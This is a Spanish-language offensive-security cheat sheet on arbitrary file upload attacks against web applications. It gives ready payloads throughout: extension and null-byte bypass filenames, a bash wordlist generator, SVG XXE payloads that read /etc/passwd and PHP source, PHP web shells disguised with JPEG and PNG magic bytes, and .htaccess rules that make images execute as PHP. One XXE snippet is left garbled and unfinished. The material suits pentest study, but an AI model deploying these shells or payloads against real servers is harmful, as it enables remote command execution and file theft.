Arbitrary File Upload
- Este tipo de ataque se basa en intentar subir archivos arbitrarios a una aplicación web.
- Generalmente se consiguen mediante features de una aplicación para subir imagenes o cualquier tipo de archivo.
Bypassear filtros
Whitelist filters bypass
- El servidor web solo permite solo ciertos tipos de archivos.
Double extensions
- Si el servidor web solo permite archivos con extensiones especificas, se puede intentar subir archivos con extensiones duplicadas.
- wordlist de extensiones
- ejemplo: shell.jpg.php
Reverse double extensions
- Es lo mismo que extensiones dobles, pero en este caso se puede intentar subir archivos con extensiones inversas.
- ejemplo: php.jpg
- wordlist de extensiones dobles php
Character injection
- Se puede intentar subir archivos con caracteres especiales en su nombre.
%20
%0a
-%00
%0d0a
/
.\
.
…
:
- ejemplo: shell.php%00.jpg
Código para generar permutaciones de caracteres en bash
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
for ext in '.php' '.phps'; do
echo "shell$char$ext.jpg" >> wordlist.txt
echo "shell$ext$char.jpg" >> wordlist.txt
echo "shell.jpg$char$ext" >> wordlist.txt
echo "shell.jpg$ext$char" >> wordlist.txt
done
done
MIME type filters bypass
- El servidor web solo permite ciertos tipos de archivos basados en su MIME type.
- wordlist de content types
- ejemplo: shell.php con content type image/jpeg
- GIF8 (GIF) o JFIF (JPEG) al principio del archivo esto hace que el servidor lo interprete como una imagen.
SVG + XXE file upload
- Se puede intentar subir un archivo SVG con un XXE payload.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
- Podemos poner wrappers de p ```xml <?xml version=”1.0” encoding=”UTF-8”?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM “php://filter/convert.base64-encode/resource=index.php”> ]>
-----
### Magic bytes attack
- Se puede intentar subir un archivo con magic bytes que hagan que el servidor lo interprete como un archivo diferente.
- [más info](https://en.wikipedia.org/wiki/List_of_file_signatures)
- [más info x2](https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5)
- esto se basa en la firma de los archivos, por ejemplo, un archivo .jpg empieza con (en hexadecimal) `FF D8 FF E0 00 10 4A 46 49 46 00 01`
- podemos hacer lo siguiente:
AAAA <?php echo system($_GET[“cmd”]);?>
- Lo guardamos como shell.phar.jpeg
- Cambiamos el mymetype utilizando hexeditor, poniendo los numeros magicos reemplazando los valores AAAA: `FF D8 FF DB`
- También para PNG se puede hacer lo siguiente:
#!/bin/sh
echo '89 50 4E 47 0D 0A 1A 0A' | xxd -p -r > mime_shell.php.png
echo '<?php system($_REQUEST['cmd']); ?>' >> mime_shell.php.png
- Alternativa
#!/bin/bash
# Crear el encabezado PNG (opcional si se necesita disfrazar como imagen)
echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > mime_shell.php.png
# Agregar el código PHP correctamente escapado
echo '<?php system($_REQUEST["cmd"]); ?>' >> mime_shell.php.png
Subir .htaccess para ejecutar php
- Se puede intentar subir un archivo .htaccess para ejecutar el archivo php.
SetHandler application/x-httpd-php
AddType application/x-httpd-php .jpg
- etc
- Esto sirve para ejecutar archivos php en un servidor web que no permite la ejecución de archivos php.
- Muchas veces no está correctamente bloqueado el acceso a subir archivos .htaccess, por lo tanto podemos subir un archivo .htaccess y ejecutar el archivo php.